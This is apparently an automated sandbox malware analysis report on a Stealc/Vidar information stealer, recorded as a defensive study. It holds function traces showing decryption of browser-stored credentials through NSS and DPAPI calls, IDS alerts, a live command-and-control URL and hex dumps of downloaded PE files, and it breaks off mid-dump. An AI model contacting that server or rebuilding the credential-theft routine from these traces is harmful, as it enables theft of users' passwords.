free.MOZGLUE(8CB6FF01,6CF96AC6,6CFA639C,?,?,?,?,?,?,?,?,?,6CFA5D40,00000000,?,6CFAAAD4), ref: 6CFBAC62

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 36084e6d59c2db9bca96b376a017a14d9f105fde7f17d61751a0dc588fc97312
Instruction ID: bd9b90b528b06a16b9ea6147a8bd7e94d4ba181aa8ada44f48f60d5acdcba18c
Opcode Fuzzy Hash: 36084e6d59c2db9bca96b376a017a14d9f105fde7f17d61751a0dc588fc97312
Instruction Fuzzy Hash: EB014BB56006009FDB00DF1AE9D0B5677E8AF54B1CF188068E9499F706D731F859CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF6FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CF19003,?), ref: 6CF6FD91

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

PORT_Alloc_Util.NSS3(A4686CF7,?), ref: 6CF6FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CF7,?,?), ref: 6CF6FDC4
free.MOZGLUE(00000000,?,?), ref: 6CF6FDD1

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: df4e30c6c76fea5edda76a9b9c88bbe66c87813d4e172ce3ff0d9a0a32dd7634
Instruction ID: 6416ddbd1d7d2a84e665af81c3925d6477235a0130d6219a9c999aed3cbc0c28
Opcode Fuzzy Hash: df4e30c6c76fea5edda76a9b9c88bbe66c87813d4e172ce3ff0d9a0a32dd7634
Instruction Fuzzy Hash: 28F068B66012425BEB004B56EC91B277768EF55299B148135ED09CBF01E761E815C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6D02CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6D02CC61
free.MOZGLUE ref: 6D02CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6D02CC80
free.MOZGLUE(?), ref: 6D02CC87

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 45d5152305319d4e886f95cbf6e65b77d313384cede308be87128b53277315e7
Instruction ID: c70972bbc527abb86fc76e1428f53f68fa5674189aa658c79c437ec75890d34e
Opcode Fuzzy Hash: 45d5152305319d4e886f95cbf6e65b77d313384cede308be87128b53277315e7
Instruction Fuzzy Hash: B5E030766016489BCE10DFA8DC448967BACEE492747150525E691C3700D331F915CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CF09DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CF09E1F

Part of subcall function 6CEC13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CE92352,?,00000000,?,?), ref: 6CEC1413
Part of subcall function 6CEC13C0: memcpy.VCRUNTIME140(00000000,R#l,00000002,?,?,?,?,6CE92352,?,00000000,?,?), ref: 6CEC14C0

Strings

ESCAPE expression must be a single character, xrefs: 6CF09F78
LIKE or GLOB pattern too complex, xrefs: 6CF0A006

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: ab142580bb1d1beb73953cb92ace6f2f760a82ee9a5ac866433731abc218e768
Instruction ID: f9df851a0abf5c5859f4496348977776c27e264bf07693dd648d7524d7d82925
Opcode Fuzzy Hash: ab142580bb1d1beb73953cb92ace6f2f760a82ee9a5ac866433731abc218e768
Instruction Fuzzy Hash: 5D813D71B042154BDB00CF29C4A03EAB7F2AF45719F288659D8B48BBD1EB31DD86D791

Uniqueness

Uniqueness Score: -1.00%

Function 6CF64D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF64D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CF64DE6

Strings

%d.%d, xrefs: 6CF64DDE

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: f25ecb7db0690573e571f46b25feaec4ff4626d3f034734973d04766358dbfc2
Instruction ID: 33f1096bd68d3279af6e479b91e138e159abdb60c7b9889d05d3f98215c30daf
Opcode Fuzzy Hash: f25ecb7db0690573e571f46b25feaec4ff4626d3f034734973d04766358dbfc2
Instruction Fuzzy Hash: BE31ECB2D002186BFB10ABA6DC15FFF7B68DF41308F050469ED159BB81EB709905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00415260 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetSystemTime.KERNEL32(?,02DD8780,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Strings

#F@, xrefs: 0041526C, 004152E5, 004152F0, 00415304, 004152D3, 004152F3
#F@, xrefs: 004152B1, 004152E1, 004152E4

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: #F@$#F@
API String ID: 62757014-661595268
Opcode ID: 14390a6db6386aefb9aa9b0a9ae3339f3f409bd937e5035c1d42e8cbf624f7f3
Instruction ID: 513f033f75459e748f43dcf9dcce4e772375218857ee2e068f26327ba23d5006
Opcode Fuzzy Hash: 14390a6db6386aefb9aa9b0a9ae3339f3f409bd937e5035c1d42e8cbf624f7f3
Instruction Fuzzy Hash: 8511D636D00108DFCB04EFA9D891AEE7B75EF98304F54C05EE41567251DF38AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CF70DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CF70DF5
TlsGetValue.KERNEL32 ref: 6CF70E2D
TlsGetValue.KERNEL32 ref: 6CF70E58
TlsGetValue.KERNEL32 ref: 6CF70E84

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: cc668fb53c98444674eaf20ce38c0f334922dd0d04900f86c9de45fa96abb6c5
Instruction ID: cbb428e5f8e54a855e70a24691f9d8812f7d18169dac1bcd8ad993f6c1622dd0
Opcode Fuzzy Hash: cc668fb53c98444674eaf20ce38c0f334922dd0d04900f86c9de45fa96abb6c5
Instruction Fuzzy Hash: 6D31E9B15453918FDB206F38D4547E97BB4BF46708F11463ED888CBA11DBB69085CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF21EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CF21ECE
free.MOZGLUE(?), ref: 6CF21EDF
free.MOZGLUE(?), ref: 6CF21EEF
free.MOZGLUE(?), ref: 6CF21EF5

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 8ae333ac77f628afd83f0e7747e44d6736bd1044b53789a34d389df800b466a7
Instruction ID: b01e81a919299d7d4c4288def812c93e7553ca363e7e8b4ed1fefeba84700949
Opcode Fuzzy Hash: 8ae333ac77f628afd83f0e7747e44d6736bd1044b53789a34d389df800b466a7
Instruction Fuzzy Hash: CCF089B16005456BEB00DBA5DC45EA7776CEF45569B144435FC1DC3A00D73AF814C7A9

Uniqueness

Uniqueness Score: -1.00%

Source: 00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.23/f993692117a3fda2.php"}
Source: UvswnLTk5d.exe.5900.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.172.128.23/f993692117a3fda2.php"}

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409540
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_004155A0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_00406C10 GetProcessHeap,HeapAlloc,LdrInitializeThunk,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00406C10
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_004094A0 LdrInitializeThunk,CryptStringToBinaryA,LocalAlloc,LdrInitializeThunk,CryptStringToBinaryA,LocalFree,	0_2_004094A0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_0040BF90 memset,LdrInitializeThunk,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,LdrInitializeThunk,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040BF90
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF5A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,LdrInitializeThunk,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,LdrInitializeThunk,PK11_Authenticate,LdrInitializeThunk,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,LdrInitializeThunk,PORT_FreeArena_Util,PK11_FreeSymKey,LdrInitializeThunk,SECITEM_ZfreeItem_Util,	0_2_6CF5A9A0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF544C0 PK11_PubEncrypt,	0_2_6CF544C0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF54440 PK11_PrivDecrypt,	0_2_6CF54440
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF24420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,LdrInitializeThunk,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CF24420
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFA25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CFA25B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF3E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CF3E6E0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF38670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CF38670
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF5A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,LdrInitializeThunk,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,LdrInitializeThunk,PORT_FreeArena_Util,LdrInitializeThunk,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,LdrInitializeThunk,PORT_FreeArena_Util,LdrInitializeThunk,PK11_DestroyContext,	0_2_6CF5A650
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF7A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,LdrInitializeThunk,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,LdrInitializeThunk,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,LdrInitializeThunk,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,LdrInitializeThunk,PORT_FreeArena_Util,LdrInitializeThunk,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CF7A730
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF80180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CF80180
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF543B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CF543B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF77C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,LdrInitializeThunk,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,LdrInitializeThunk,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,LdrInitializeThunk,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,LdrInitializeThunk,LdrInitializeThunk,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,LdrInitializeThunk,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CF77C00
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF37D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,LdrInitializeThunk,PK11_PBEKeyGen,LdrInitializeThunk,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,LdrInitializeThunk,SECITEM_ZfreeItem_Util,LdrInitializeThunk,PK11_PBEKeyGen,LdrInitializeThunk,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,LdrInitializeThunk,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CF37D60
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF7BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CF7BD30
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF79EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CF79EC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF53FF0 PK11_PrivDecryptPKCS1,	0_2_6CF53FF0

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49730 -> 185.172.128.23:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49730 -> 185.172.128.23:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.23:80 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49730 -> 185.172.128.23:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.23:80 -> 192.168.2.4:49730

Source: Malware configuration extractor	URLs: 185.172.128.23/f993692117a3fda2.php
Source: Malware configuration extractor	URLs: http://185.172.128.23/f993692117a3fda2.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 17 Apr 2024 04:57:04 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 17 Apr 2024 04:57:09 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 